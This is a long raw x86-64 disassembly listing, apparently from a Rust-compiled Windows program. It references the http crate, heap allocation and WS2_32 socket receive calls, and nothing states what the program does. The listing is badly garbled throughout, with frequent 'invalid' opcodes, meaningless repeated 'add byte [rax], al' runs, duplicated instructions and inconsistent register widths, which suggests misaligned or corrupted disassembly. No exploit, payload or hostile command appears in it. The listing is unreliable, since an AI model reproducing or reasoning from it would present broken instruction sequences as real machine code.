mov qword [rsp + 0x758], rax
pxor xmm0, xmm0
out dx, eax
sal bl, 0xf
jg 0x14011d8fb
and al, 0x60
invalid
add byte [rax], al
lea rax, [0x1401d3af8]
jmp 0x14011da1a
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
mov rsi, qword [rsp + 0x68]
je 0x14011f062
mov rcx, rax
mov qword [0x140215360], rax
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x14011f062
mov rdi, rax
mov rcx, rax
mov rdx, qword [rsp + 0x60]
mov r8, rsi
call sub.VCRUNTIME140.dll_memcpy
test dil, 1
jne 0x14011d9fb
mov rax, rdi
or rax, 1
mov qword [rsp + 0x758], rdi
mov qword [rsp + 0x760], rsi
mov qword [rsp + 0x768], rax
lea rax, [0x1401a9358]
jmp 0x14011da1a
mov qword [rsp + 0x758], rdi
mov qword [rsp + 0x760], rsi
mov qword [rsp + 0x768], rdi
lea rax, [0x1401a9370]
mov qword [rsp + 0x750], rax
lea rcx, [rsp + 0x300]
lea rdx, [rsp + 0x750]
call fcn.140083d90
cmp byte [rsp + 0x300], 3
je 0x14011efdb
mov rax, qword [rsp + 0x350]
mov qword [rsp + 0x270], rax
movups xmm0, xmmword [rsp + 0x340]
movaps xmmword [rsp + 0x260], xmm0
movups xmm0, xmmword [rsp + 0x300]
movdqu xmm1, xmmword [rsp + 0x310]
movdqu xmm2, xmmword [rsp + 0x320]
movdqu xmm3, xmmword [rsp + 0x330]
movdqa xmmword [rsp + 0x250], xmm3
movdqa xmmword [rsp + 0x240], xmm2
movdqa xmmword [rsp + 0x230], xmm1
movaps xmmword [rsp + 0x220], xmm0
cmp qword [rsp + 0x120], 0
lea rsi, [0x1401d3af8]
je 0x14011db8e
lea rax, [rsp + 0x128]
movups xmm0, xmmword [rax]
movdqu xmm1, xmmword [rax + 0x10]
movdqa xmmword [rsp + 0x6e0], xmm1
movaps xmmword [rsp + 0x6d0], xmm0
mov rax, qword [rsp + 0x6d0]
xor ebp, ebp
mov r15d, 0
test rax, rax
je 0x14011db49
lea rdx, [rsp + 0x6e8]
mov r8, qword [rsp + 0x6d8]
mov r9, qword [rsp + 0x6e0]
lea rcx, [rsp + 0x300]
call qword [rax]
mov r15, qword [rsp + 0x300]
movups xmm0, xmmword [rsp + 0x308]
movaps xmmword [rsp + 0x750], xmm0
mov rax, qword [rsp + 0x318]
mov qword [rsp + 0x760], rax
mov rbp, qword [rsp + 0x6d0]
mov rax, qword [rsp + 0x760]
mov qword [rsp + 0x310], rax
movaps xmm0, xmmword [rsp + 0x750]
movaps xmmword [rsp + 0x300], xmm0
mov rax, qword [rsp + 0x6d8]
mov qword [rsp + 0x70], rax
movaps xmm0, xmmword [rsp + 0x6e0]
movaps xmmword [rsp + 0xa20], xmm0
mov r13d, 1
jmp 0x14011dba4
xorps xmm0, xmm0
movaps xmmword [rsp + 0xa20], xmm0
xor r13d, r13d
mov rbp, rsi
mov qword [rsp + 0x70], rbx
mov rax, qword [rsp + 0x310]
mov qword [rsp + 0xa10], rax
movaps xmm0, xmmword [rsp + 0x300]
movaps xmmword [rsp + 0xa00], xmm0
movdqa xmm0, xmmword [rsp + 0xa20]
movdqa xmmword [rsp + 0xd20], xmm0
cmp byte [r12 + 0x1b9], 0
je fcn.14011dc22
movzx edx, byte [rsp + 0x220]
test dl, dl
je fcn.14011dc22
movzx eax, dl
cmp eax, 1
je 0x14011dc14
cmp eax, 2
je fcn.14011dc22
lea rcx, str.internal_error:_entered_unreachable_code_rustc_cc66ad468955717ab92600c770da8c1601a4ff33library_std_src_threadmod.rs
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.9_srcuri_scheme.rs
mov edx, 0x28
call fcn.140160fb0
ud2
cmp byte [rsp + 0x221], 0
je 0x14011e4df
movaps xmmword [rsp + 0x1d0], xmm1
movdqa xmmword [rsp + 0x1e0], xmm2
movdqa xmmword [rsp + 0x1f0], xmm3
movaps xmm0, xmmword [rsp + 0x190]
and al, 0x90
add dword [rax], eax
add byte [rdi], cl
sub dword [rsp + 0x200], eax
add byte [rax], al
add byte [rax], al
movaps xmm0, xmmword [rsp + 0x1a0]
movaps xmmword [rsp + 0x210], xmm0
test byte [rax + riz*4], ah
add dword [rax], eax
add byte [rdi], cl
sub dword [rsp + 0x210], eax
mov rax, qword [rsp + 0xa10]
mov qword [rsp + 0x720], rax
movaps xmm0, xmmword [rsp + 0xa00]
add byte [rdi], cl
sub dword [rsp + 0x710], eax
test byte [rax + rdx], ah
invalid
add byte [rax], al
test byte [rax + rdx], ah
invalid
xorps xmm0, xmm0
movaps xmmword [rsp + 0x6b0], xmm0
mov qword [rsp + 0x88], r12
add byte [rax - 0x75], cl
test byte [rax + rdx*4], ah
add byte [rax], al
add byte [rax - 0x77], cl
test byte [rax + riz*4], ah
add byte [rax], al
add byte [rax - 0x75], cl
test byte [rax + rdx], ah
add dword [rax], eax
add byte [rax - 0x77], cl
test byte [rax + rsi*4], ah
mov al, 0
add byte [rax], al
invalid
add byte [rax - 0x75], cl
test byte [rax + rdx*4], ah
add byte [rax], al
add byte [rax - 0x77], cl
test byte [rax + riz*4], ah
add byte [rax], al
add byte [rax - 0x75], cl
test byte [rax + rdx], ah
add dword [rax], eax
add byte [rax - 0x77], cl
test byte [rax + rsi*4], ah
mov al, 0
invalid
add byte [rdi], cl
mov dh, 0x44
and al, 0x37
movzx eax, byte [rsp + 0x37]
mov byte [rsp + 0x38], al
and al, 0x38
movzx eax, byte [rsp + 0x36]
mov byte [rsp + 0x58], al
and al, 0x58
and al, 0x58
movzx eax, byte [rsp + 0x54]
mov byte [rsp + 0xa8], al
add byte [rax], al
add byte [rbx + 0x982484], cl
test byte [rax + rbx*4], ah
add byte [rax], al
invalid
test byte [rax + rbx*4], ah
add byte [rax], al
add byte [rcx + 0xb82484], cl
and al, 0xb8
add byte [rax], al
invalid
mov dword [rsp + 0xb8], eax
and al, 0xb8
add byte [rax], al
add byte [rbx - 0x7683dbbc], cl
test byte [rax + rdx*8], ah
add byte [rax], al
add byte [rax - 0x75], cl
mov rax, qword [rsp + 0x68]
mov eax, dword [rsp + 0x7c]
mov dword [rsp + 0xd0], eax
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0xe8], rax
mov rax, qword [rsp + 0xd8]
and al, 0xd8
add byte [rax], al
add byte [rax - 0x77], cl
test byte [rax + rcx*2], ah
invalid
invalid
add byte [rax], al
add byte [rax - 0x75], cl
and al, 0x60
and al, 0xd8
add byte [rax], al
add byte [rax - 0x77], cl
test byte [rax + rcx*2], ah
invalid
invalid
mov qword [rsp + 0x740], rax
add byte [rax], al
jmp fcn.14011c7cd
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.9_srcheadermap.rs
mov rdx, rbx
call fcn.140160ed0
ud2
and al, 0xcc
add byte [rax], al
add byte [rax + 0x3042484], cl
add byte [rax], al
mov eax, dword [rsp + 0xc8]
mov dword [rsp + 0x300], eax
and al, 0
add eax, dword [rax]
add byte [rdi], cl
mov dh, 0x84
and al, 0x90
add byte [rax], al
add byte [rax], al
mov rdi, qword [rsp + 0x110]
jmp fcn.14011dc51
mov byte [rsi], 3
mov al, 1
mov bl, 3
jmp 0x14011d91a
movdqu xmm6, xmmword [0x1401d8860]
movdqa xmmword [rsp + 0x310], xmm6
movdqu xmm7, xmmword [0x1401d8850]
movdqa xmmword [rsp + 0x300], xmm7
add eax, dword [rax]
invalid
add byte [rax], al
mov rax, qword [rsp + 0x188]
test rax, rax
mov byte [rsp + 0x58], dl
mov qword [rsp + 0x38], rbp
je 0x14011e73b
lea rcx, [rsp + 0x150]
lea rdx, [rsp + 0x300]
add byte [rax - 0x77], cl
and al, 0x40
add byte [rax - 0x77], cl
and al, 0x40
call fcn.14006e510
mov rdx, qword [rsp + 0x40]
mov ebp, eax
movzx ebx, word [rsp + 0x1a8]
and al, 0xa8
add dword [rax], eax
add byte [rcx - 0x77], al
out dx, al
and al, 0xa8
add dword [rax], eax
add byte [rcx - 0x77], al
out dx, al
and r14d, ebx
mov rsi, qword [rsp + 0x168]
mov rdi, qword [rsp + 0x170]
jo 0x14011e559
add byte [rax], al
jo 0x14011e559
add byte [rax], al
add byte [rax - 0x75], cl
test byte [rax + rdi*2], ah
mov rax, qword [rsp + 0x178]
mov qword [rsp + 0x48], rax
add dword [rax], eax
add byte [rax - 0x77], cl
and al, 0x48
mov r10, qword [rsp + 0x300]
and al, 0
add eax, dword [rax]
add byte [rax - 0x75], cl
mov rax, qword [rsp + 0x308]
mov qword [rsp + 0x88], rax
movzx eax, byte [rsp + 0x308]
mov byte [rsp + 0xa8], al
mov rax, qword [rsp + 0x308]
mov qword [rsp + 0x88], rax
movzx eax, byte [rsp + 0x308]
mov byte [rsp + 0xa8], al
mov r8, qword [rsp + 0x310]
adc byte [rbx], al
add byte [rax], al
xor r12d, r12d
mov qword [rsp + 0xb0], r10
add byte [rax], al
mov qword [rsp + 0xb8], r8
jmp 0x14011e606
add byte [rax], al
test r8, r8
je 0x14011eb43
add byte [rax], al
add byte [rax], al
js 0x14011efd4
add byte [rdi], cl
mov dh, 5
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
sub ch, byte [rsi + 0xf]
add byte [rax - 0x75], cl
or eax, 0xf6d8b
test rcx, rcx
test ecx, ecx
je 0x14011eb06
sub byte [0xcb5de5e0], al
test byte [rax + rdx*4], ah
add byte [rax], al
add cl, ch
cmp al, 5
add byte [rax], al
mov r8, qword [rsp + 0x90]
jmp 0x14011eb27
movzx ecx, byte [rsp + 0xa8]
cmp byte [rax + 8], cl
or byte [rdi], cl
test dh, ah
add byte [rax], al
invalid
add byte [rax], bh
or byte [rdi], cl
test dh, ah
add byte [rax], al
add byte [rdi], cl
invalid
add byte [rax], al
nop dword [rax]
add byte [rcx - 1], cl
inc r12
inc r14
invalid
mov rax, r14
nop dword [rax]
mov r14, rax
mov eax, 0
add byte [rax], al
cmp r14, rdi
jae 0x14011e610
movzx ecx, word [rsi + r14*4]
cmp rcx, 0xffff
je 0x14011e702
test bl, dl
add byte [rax], al
invalid
test bl, dl
add byte [rax], al
add byte [rdx + 0xf], al
mov bh, 0x44
mov dh, 2
mov r9d, eax
and r9d, ebx
fld dword [rbp - 0x77]
sub r11d, r9d
and r11d, ebx
cmp r12, r11
ja 0x14011e702
add byte [rax], al
invalid
add byte [rax], al
add byte [rsi + 0x39], ah
call 0x1795a94c9
cmp rdx, rcx
invalid
invalid
cmp ax, bp
jne 0x14011e600
cmp rdx, rcx
jbe 0x14011ee10
invalid
add byte [rbp - 0x7b], cl
rol byte [rcx + 0xf], cl
xchg esp, eax
ror dword [rax + 0x6b], 0xc1
imul rax, rcx, 0x68
mov rcx, qword [rsp + 0x48]
mov rcx, qword [rcx + rax + 0x40]
invalid
invalid
test r10, r10
sete r9b
imul rax, rcx, 0x68
mov rcx, qword [rsp + 0x48]
mov rcx, qword [rcx + rax + 0x40]
invalid
invalid
test rcx, rcx
leave
setne r11b
cmp r11b, r9b
je 0x14011e600
mov r9, qword [rsp + 0x48]
add rax, r9
add eax, ecx
add eax, ecx
add rax, 0x40
test rcx, rcx
leave
je 0x14011e5eb
cmp qword [rax + 0x10], r8
jne 0x14011e600
add byte [rax], al
mov rdx, qword [rsp + 0x40]
and al, 0x40
test eax, eax
jne 0x14011e600
test r10, r10
je case.0x14010af64.64
lea rcx, [rsp + 0x318]
mov rdx, qword [rsp + 0x88]
call qword [r10 + reloc.WS2_32.dll_recv]
mov r12, qword [rsp + 0xa0]
lea rbx, [0x140204680]
add byte [rax - 0x75], cl
insb byte [rdi], dx
and al, 0x38
lea rsi, [0x1401d3af8]
jmp fcn.14011dc22
and ch, dh
invalid
invalid
and ch, dh
invalid
test r10, r10
mov r12, qword [rsp + 0xa0]
mov esp, dword [rsp + 0xa0]
je 0x14011e723
add byte [rax - 0x75], cl
xchg esp, eax
and al, 0x88
add byte [rax], al
add byte [rcx - 1], al
call qword [r10 + reloc.WS2_32.dll_recv]
lea rbx, [0x140204680]
call qword [r10 + reloc.WS2_32.dll_recv]
lea rbx, [0x140204680]
mov rbp, qword [rsp + 0x38]
lea rsi, [0x1401d3af8]
movzx edx, byte [rsp + 0x58]
mov rcx, qword [r12 + 0x1b0]
invalid
invalid
invalid
dec dword [rbx + rcx*4 + 0x41]
adc byte [rax - 0x77], cl
mov ecx, eax
shl rcx, 7
and al, 0x40
mov word [rax + rbp*4], fs
add byte [rax], al
add bl, ch
and al, 0x81
cmp dword [rax], 0x70747468
cmp byte [rax + 0x74], ch
je 0x14011e7f4
mov eax, edx
mov byte [rsp + 0x40], dl
je 0x14011ebfd
invalid
add r8, 0x88
mov edi, eax
cmp r8, r9
cmp eax, ecx
cmp eax, ecx
je fcn.14011dc22
hlt
mov rax, qword [r8]
movsxd rax, dword [r10 + rax*4]
invalid
add rax, r10
jmp rax
lea rax, [0x140204ba3]
lea eax, [0x140204ba3]
cmp dl, 2
jne 0x14011e77e
mov rcx, qword [rsp + 0x228]
mov word [rax + rbp], fs
add al, byte [rax]
add byte [rax + 0x79834802], dh
mov al, 2
cmp qword [rcx + 0x10], 4
invalid
and al, 0x40
mov al, 2
cmp qword [rcx + 0x10], 4
mov byte [rsp + 0x40], 2
add dh, byte [rbp - 0x40]
add dh, byte [rbp - 0x40]
mov rax, qword [rcx + 8]
jmp 0x14011e77e
mov byte [rsp + 0xb0], dil
mov qword [rsp + 0x88], r8
movzx eax, byte [rsp + 0x40]
and al, 0x40
and al, 0x40
test al, al
je 0x14011f071
test byte [rsi + 8], bh
add byte [rax], al
test byte [rsi + 8], bh
add byte [rax], al
mov ebp, 4
add al, 0
add byte [rax], al
lea rdi, [0x140204ba3]
lea edi, [0x140204ba3]
cmp al, 2
jne 0x14011e813
mov rax, qword [rsp + 0x228]
and al, 0x28
add al, byte [rax]
add byte [rax - 0x75], cl
mov rdi, qword [rax + 8]
mov rdi, qword [rax + 8]
mov rbp, qword [rax + 0x10]
mov rax, qword [rsp + 0x88]
mov byte [rax], al
add byte [rax], al
invalid
mov rsi, qword [rax + 8]
cmp qword [rsi + 0x28], 0
je case.0x1400fd850.145
add byte [rax], al
add byte [rax], al
mov rcx, qword [rsi + 0x30]
mov ecx, dword [rsi + 0x30]
mov rdx, qword [rsi + 0x38]
mov qword [rsp + 0xd0], rcx
mov dword [rsp + 0xd0], ecx
push rsi
cmp byte [rax - 0x77], cl
invalid
mov word [rax + rdx*8], fs
add byte [rax], al
add byte [rax - 0x77], cl
xchg esp, eax
and al, 0xe8
add byte [rax], al
add byte [rcx - 0x77], cl
mov eax, edi
mov qword [rsp + 0xe8], rdx
mov r8, rdi
mov eax, edi
mov r9, rbp
call fcn.140004500
mov rbx, rax
mov ebx, eax
mov ebx, eax
mov r12, qword [rsi + 0x10]
mov qword [rsp + 0xb8], rsi
mov eax, 0x48000000
mov esi, dword [rsi + 0x18]
jbe 0x14011e878
mov eax, 0x48000000
mov esi, dword [rsi + 0x18]
jbe 0x14011e878
add byte [rax], al
add byte [rax - 0x75], cl
jbe 0x14011e878
shr rax, 0x39
movd xmm0, eax
outsb dx, byte [rsi]
invalid
outsb dx, byte [rsi]
shl byte [rsi + 0xf], 0x60
invalid
invalid
invalid
punpcklbw xmm0, xmm0
punpcklbw mm0, mm0
sal dl, 0xf
pshuflw xmm0, xmm0, 0
pshufd xmm9, xmm0, 0
jo 0x14011e830
add byte [rsi + 0x44], ah
pshufw mm1, mm0, 0
xor eax, eax
ror byte [rax - 0x77], 0x44
mov qword [rsp + 0x48], rax
and al, 0x48
and rbx, rsi
movdqu xmm10, xmmword [r12 + rbx]
movq mm2, qword [r12 + rbx]
movq mm2, qword [r12 + rbx]
movdqa xmm0, xmm9
pcmpeqb xmm0, xmm10
pmovmskb r14d, xmm0
test r14d, r14d
test esi, esi
jne 0x14011e8cf
pcmpeqb xmm10, xmm8
pmovmskb eax, xmm10
test eax, eax
jne case.0x1400fd850.145
test dword [rcx + rax], ecx
add byte [rax], al
test dword [rcx + rax], ecx
add byte [rax], al
mov rax, qword [rsp + 0x48]
mov eax, dword [rsp + 0x48]
add rbx, rax
add rbx, 0x10
add rax, 0x10
jmp case.0x1400e8b28.225
lea eax, [r14 - 1]
and eax, r14d
invalid
mov r14d, eax
test ax, ax
je case.0x14011161e.30
tzcnt eax, r14d
add rax, rbx
and rax, rsi
neg rax
neg eax
neg eax
imul rax, rax, 0x68
cmp qword [r12 + rax - 0x58], rbp
insb byte [rdi], dx
add al, 0xa8
jne 0x14011e8c0
add rax, r12
mov rdx, qword [rax - 0x68]
mov rcx, rdi
mov r8, rbp
call sub.VCRUNTIME140.dll_memcmp
add eax, dword [rax]
test eax, eax
jne 0x14011e8c0
jmp 0x14011e9fd
add eax, dword [rax]
add byte [rax - 0x77], cl
invalid
jle 0x14011e8f8
clc
inc dword [rbx + 0x30024bc]
add byte [rax], al
add cl, byte [rdi]
test eax, eax
add eax, dword [rax]
add byte [rcx + 0x54b60ff8], cl
movzx edx, byte [rsp + 0x58]
movzx edx, byte [rsp + 0x58]
mov r8, rbx
lea rbx, [0x140204680]
lea ebx, [0x140204680]
lea ebx, [0x140204680]
mov r9, qword [rsp + 0xa8]
lea r10, [0x14020ac78]
mov rbp, qword [rsp + 0x38]
jmp case.0x1400e4103.284
cmp dil, 2
jne 0x14011e9ad
mov rcx, qword [rsp + 0x228]
mov al, 2
cmp qword [rcx + 0x10], 5
mov byte [rsp + 0x40], 2
add cl, byte [rdi]
invalid
invalid
invalid
invalid
invalid
add cl, byte [rdi]
test dword [0x18911e982], ecx
mov eax, dword [rcx + 8]
mov rax, qword [rcx + 8]
mov ecx, dword [rax]
mov r11d, 0x70747468
xor ecx, r11d
movzx eax, byte [rax + 4]
xor eax, 0x73
or eax, ecx
mov eax, edi
mov byte [rsp + 0x40], dil
jne case.0x1400e4103.284
test eax, ebp
std
invalid
invalid
test eax, ebp
std
invalid
jmp case.0x14011ed51.2
add byte [rax], al
mov eax, edi
clc
mov byte [rsp + 0x40], dil
jmp case.0x1400e4103.284
movzx eax, byte [rsp + 0xb0]
mov r12, qword [rsp + 0xa0]
movsb byte [rdi], byte [rsi]
and al, 0xa0
add byte [rax], al
add byte [rax - 0x73], cl
sbb eax, 0xe5cb0
test byte [rax + rsi*4], ah
add byte [rax], al
add byte [rbx + rcx*4 - 0x5c], cl
movsb byte [rdi], byte [rsi]
movsb byte [rdi], byte [rsi]
and al, 0xa0
add byte [rax], al
add byte [rax - 0x73], cl
sbb eax, 0xe5cb0
mov rbp, qword [rsp + 0x38]
and al, 0x38
lea rsi, [0x1401d3af8]
movzx edx, byte [rsp + 0x58]
mov r8, qword [rsp + 0x88]
test byte [rax + rcx*4], ah
add byte [rax], al
add byte [rbx + rcx*4 - 0x74], cl
and al, 0xa8
add byte [rax], al
add byte [rbp + rcx*4 + 0x15], cl
add dl, 0xe
add cl, ch
xchg ebx, eax
std
invalid
invalid
test byte [rax + rcx*4], ah
add byte [rax], al
add byte [rbx + rcx*4 - 0x74], cl
and al, 0xa8
add byte [rax], al
add byte [rbp + rcx*4 + 0x15], cl
add dl, 0xe
add cl, ch
xchg ebx, eax
std
invalid
mov r12, qword [rsp + 0xa0]
lea rbx, [0x140204680]
je 0x14011ea66
invalid
add byte [rax - 0x75], cl
insb byte [rdi], dx
and al, 0x38
je 0x14011ea66
invalid
insb byte [rdi], dx
and al, 0x38
mov rsi, qword [rsp + 0xb8]
add byte [rax - 0x75], cl
mov word [rax + rdx*8], fs
mov rcx, qword [rsp + 0xd0]
mov rdx, qword [rsp + 0xe8]
xchg esp, eax
and al, 0xe8
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x75], cl
xchg esp, eax
and al, 0xe8
add byte [rax], al
add byte [rbp + rcx*4 + 5], cl
invalid
invalid
invalid
jae 0x14011ea8f
lea r8, [0x140204ba3]
mov r9d, 4
call fcn.140004500
mov rcx, qword [rsi + 0x10]
mov rdx, qword [rsi + 0x18]
mov r8, rax
shr r8, 0x39
movd xmm0, r8d
invalid
pop rdx
out dx, al
dec dword [rax - 0x75]
adc byte [rax - 0x75], r9b
adc byte [rax - 0x75], cl
push rsi
sbb byte [rcx - 0x77], cl
ror byte [rcx - 0x3f], 0xe8
cmp dword [rsi + 0x41], esp
movd mm0, eax
shl byte [rsi + 0xf], 0x60
sal dl, 0xf
jo 0x14011ea17
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
add byte [rsi + 0xf], ah
jo 0x14011ea1c
add byte [rbp + 0x31], al
shl byte [rsi + 0xf], 0x76
leave
and rax, rdx
movdqu xmm2, xmmword [rcx + rax]
movq mm2, qword [rcx + rax]
sal bl, 1
movq mm2, qword [rcx + rax]
movdqa xmm3, xmm0
pcmpeqb xmm3, xmm2
outsd dx, dword [rsi]
fsub dword [rsi + 0xf]
je 0x14011ea4e
pmovmskb r9d, xmm3
test r9d, r9d
jne 0x14011eab0
pcmpeqb xmm2, xmm1
pmovmskb r9d, xmm2
test r9d, r9d
test ecx, ecx
test ecx, ecx
jne case.0x140109b29.71
add rax, r8
ror byte [rax - 0x7d], 0xc0
adc byte [rcx - 0x7d], cl
rcl byte [rax], 0xeb
add rax, 0x10
add r8, 0x10
jmp 0x14011ea64
retf
retf
nop dword [rax]
add byte [rax], al
lea r10d, [r9 - 1]
and r10d, r9d
mov r9d, r10d
shl dword [rsi + 0x45], 1
test edx, edx
shl dword [rsi + 0x45], 1
test edx, edx
je case.0x140105a85.100
tzcnt r10d, r9d
add r10, rax
and r10, rdx
neg r10
fimul dword [rcx + 0x6b]
push 0x317c8348
test al, 4
jne 0x14011eaa0
mov byte [rsp + 0x1e0], 2
lea rsi, [0x1401d3af8]
cmp byte [rsp + 0x1e0], 2
and al, 0xe0
add dword [rax], eax
add byte [rax], al
invalid
add byte [rax], al
add cl, byte [rdi]
invalid
test byte [rcx], ah
je fcn.14011dc22
int1
invalid
jmp 0x14011ec83
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
xchg ebp, eax
add al, 0
test rax, rax
mov r8, qword [rsp + 0x90]
add byte [rax], al
add byte [rdi], cl
test byte [rsi + 5], ch
invalid
add byte [rax], al
add byte [rax], al
add byte [rdi], cl
test byte [rsi + 5], ch
invalid
add byte [rax], al
add eax, 0x89480000
ror dword [rax - 0x77], 5
mov rcx, rax
mov qword [0x140215360], rax
cmp dword [rax + 0xf], ebp
invalid
cmp dword [rax + 0xf], ebp
add byte [rcx], dh
sar bh, cl
adc eax, 0x49509
invalid
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rdi, rax
mov r8, qword [rsp + 0x90]
test rax, rax
je 0x14011f08b
mov rcx, rdi
mov rdx, qword [rsp + 0x110]
mov rsi, r8
call sub.VCRUNTIME140.dll_memcpy
add byte [rax - 0x77], cl
invalid
movzx r8d, byte [rsp + 0x54]
mov dh, 0x44
and al, 0x54
push rsp
mov dh, 0x44
and al, 0x54
push rsp
lea rsi, [0x1401d3af8]
jmp fcn.14011dc51
invalid
invalid
lea rdx, [rsi - 0x10]
mov rax, qword [rsi - 0x28]
mov r8, qword [rsi - 0x20]
mov r9, qword [rsi - 0x18]
lea rcx, [rsp + 0x300]
call qword [rax]
movzx eax, byte [rsi - 8]
mov byte [rsp + 0x320], al
movdqu xmm0, xmmword [rsp + 0x300]
test byte [rax + rax], ah
add eax, dword [rax]
invalid
and al, 0x20
add eax, dword [rax]
add bl, dh
movq mm0, qword [rsp + 0x300]
test byte [rax + rax], ah
add eax, dword [rax]
invalid
test byte [rax + rax], ah
add eax, dword [rax]
add bl, dh
movq mm1, qword [rsp + 0x310]
movdqu xmm1, xmmword [rsp + 0x310]
movdqa xmmword [rsp + 0x1c0], xmm0
movdqa xmmword [rsp + 0x1d0], xmm1
rol byte [rcx], 1
add byte [rax], al
rol byte [rcx], 1
add byte [rax], al
add byte [rax - 0x75], cl
mov rax, qword [rsp + 0x320]
mov qword [rsp + 0x1e0], rax
add dword [rax], eax
invalid
test byte [rax + riz], ah
add eax, dword [rax]
add byte [rax - 0x77], cl
test byte [rax + riz*8], ah
add dword [rax], eax
add byte [rax - 0x73], cl
lea rsi, [0x1401d3af8]
lea rsi, [0x1401d3af8]
add byte [rax + 0x1e024bc], al
add byte [rax], al
add cl, byte [rdi]
test byte [rcx - 0x10], cl
invalid
invalid
invalid
cmp byte [rsp + 0x1e0], 2
je fcn.14011dc22
invalid
invalid
invalid
invalid
invalid
jmp 0x14011ec83
add byte [rax], al
add byte [rbp + rcx*4 + 5], cl
and dword [rdx + 0xb], 0
or eax, dword [rax]
add eax, 0xb6283
or eax, dword [rax]
add al, 0
mov rbx, r8
cmp byte [rbx + 0x50], 2
jne 0x14011ec10
add dh, byte [rbp + 0xa]
mov byte [rsp + 0x1e0], 2
jmp 0x14011ec69
mov rax, qword [rbx + 0x30]
mov r8, qword [rbx + 0x38]
mov r9, qword [rbx + 0x40]
lea rcx, [rsp + 0x300]
add bh, bh
adc byte [rdi], cl
mov dh, 0x43
push rax
mov byte [rsp + 0x320], al
movdqu xmm0, xmmword [rsp + 0x300]
outsd dx, dword [rsi]
test byte [rax + rax], ah
add eax, dword [rax]
add bl, dh
movq mm1, qword [rsp + 0x310]
movdqa xmmword [rsp + 0x1c0], xmm0
and al, 0xc0
add dword [rax], eax
add byte [rsi + 0xf], ah
jg 0x14011ebe0
and al, 0xd0
add dword [rax], eax
add byte [rax - 0x75], cl
test byte [rax + riz], ah
add eax, dword [rax]
add byte [rax], al
mov qword [rsp + 0x1e0], rax
add byte [rax], al
and al, 0xc0
add dword [rax], eax
add byte [rsi + 0xf], ah
jg 0x14011ebe0
and al, 0xd0
add dword [rax], eax
add byte [rax - 0x75], cl
test byte [rax + riz], ah
add eax, dword [rax]
add byte [rax], al
mov qword [rsp + 0x1e0], rax
add byte [rax], al
lea rbx, [0x140204680]
add byte [rax], al
lea rbx, [0x140204680]
mov rbp, qword [rsp + 0x38]
and al, 0x38
cmp byte [rsp + 0x1e0], 2
je fcn.14011dc22
movdqa xmmword [rsp + 0x760], xmm6
movdqa xmmword [rsp + 0x750], xmm7
mov esp, 0x75024
add byte [rax - 0x73], cl
mov word [rax + rax], fs
add eax, dword [rax]
add byte [rax - 0x73], cl
xchg esp, eax
and al, 0x50
add dword [rax], eax
add byte [rbp + rcx*4 - 0x7c], cl
and al, 0x50
invalid
add byte [rax], al
mov esp, 0x75024
add byte [rax - 0x73], cl
mov word [rax + rax], fs
add eax, dword [rax]
add byte [rax - 0x73], cl
xchg esp, eax
and al, 0x50
add dword [rax], eax
add byte [rbp + rcx*4 - 0x7c], cl
and al, 0x50
invalid
lea r9, [rsp + 0x1c0]
call fcn.1400a4910
cmp byte [rsp + 0x320], 2
add byte [rax], al
add cl, byte [rdi]
test byte [rdx - 0x11], bl
invalid
invalid
mov eax, dword [rsp + 0x328]
mov rdx, qword [rsp + 0x330]
mov r8, qword [rsp + 0x338]
add eax, dword [rax]
add bh, bh
push rax
invalid
add eax, dword [rax]
add bh, bh
push rax
adc byte [rax - 0x73], cl
lea rcx, [rsp + 0x320]
mov rax, qword [rsp + 0x308]
add byte [rax], al
mov rdx, qword [rsp + 0x310]
mov r8, qword [rsp + 0x318]
invalid
push rax
lea rcx, [rsp + 0x320]
mov rax, qword [rsp + 0x308]
add byte [rax], al
add byte [rax], al
mov rdx, qword [rsp + 0x310]
mov r8, qword [rsp + 0x318]
call qword [rax + reloc.WS2_32.dll_recv]
adc byte [rax - 0x75], cl
add ecx, dword [rax - 0x73]
or eax, 0xebf42
adc byte [rax - 0x75], cl
add ecx, dword [rax - 0x73]
or eax, 0xebf42
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov rsi, qword [rbp]
cmp qword [rsi + 0x28], 0
lea rbx, [0x140204680]
mov rbp, qword [rsp + 0x38]
je case.0x140109b29.71
lea rcx, [rsp + 0x750]
lea r8, [rsp + 0x220]
mov rdx, rbp
call fcn.1400ac1a0
cmp dword [rsp + 0x750], 2
je case.0x14011ed51.2
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.9_srcheadermap.rs
call fcn.140160ed0
ud2
ud2
lea rcx, str.Uri_should_have_a_scheme
lea r8, [0x1401d99d0]
mov edx, 0x18
call fcn.140161290
ud2
mov ecx, 1
mov rdx, r8
call fcn.14015d7f0
ud2
lea ecx, [rsi + 0x120]
call fcn.1400a6180
mov rax, qword [rsi + 0x160]
test rax, rax
je 0x14011f5db
lock dec qword [rax]
jne 0x14011f5db
mov rcx, qword [rsi + 0x160]
mov rdx, qword [rsi + 0x168]
add rsp, 0x20
add esp, 0x20
add esp, 0x20
pop rbx
pop rdi
pop rsi
pop r14
pop r15
jmp fcn.140069a20
nop
add rsp, 0x20
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
invalid
cmp r8, 0xffffffffffffffff
je 0x14011f64f
lock dec qword [r8 + 8]
jne 0x14011f64f
mov rcx, qword [0x140215360]
xor edx, edx
add rsp, 0x28
pop rdi
pop rsi
jmp qword [sym.imp.KERNEL32.dll_HeapFree]
mov dword [rax + rax], eax
and byte [rbp + 0xf], bl
add byte [rcx], dh
ror byte [rax - 0x7d], cl
invalid
mov dword [rax + rax], eax
nop
add rsp, 0x28
pop rdi
pop rsi
ret
add dword [rax], eax
add byte [rax - 0x7b], cl
push qword [rdx + rcx*2 + 0x48]
mov eax, dword [rdi + 0x30]
nop dword [rax]
mov rcx, rax
test cl, 4
add al, 0x75
invalid
mov rdx, rcx
or rdx, 2
invalid
invalid
mov rax, rcx
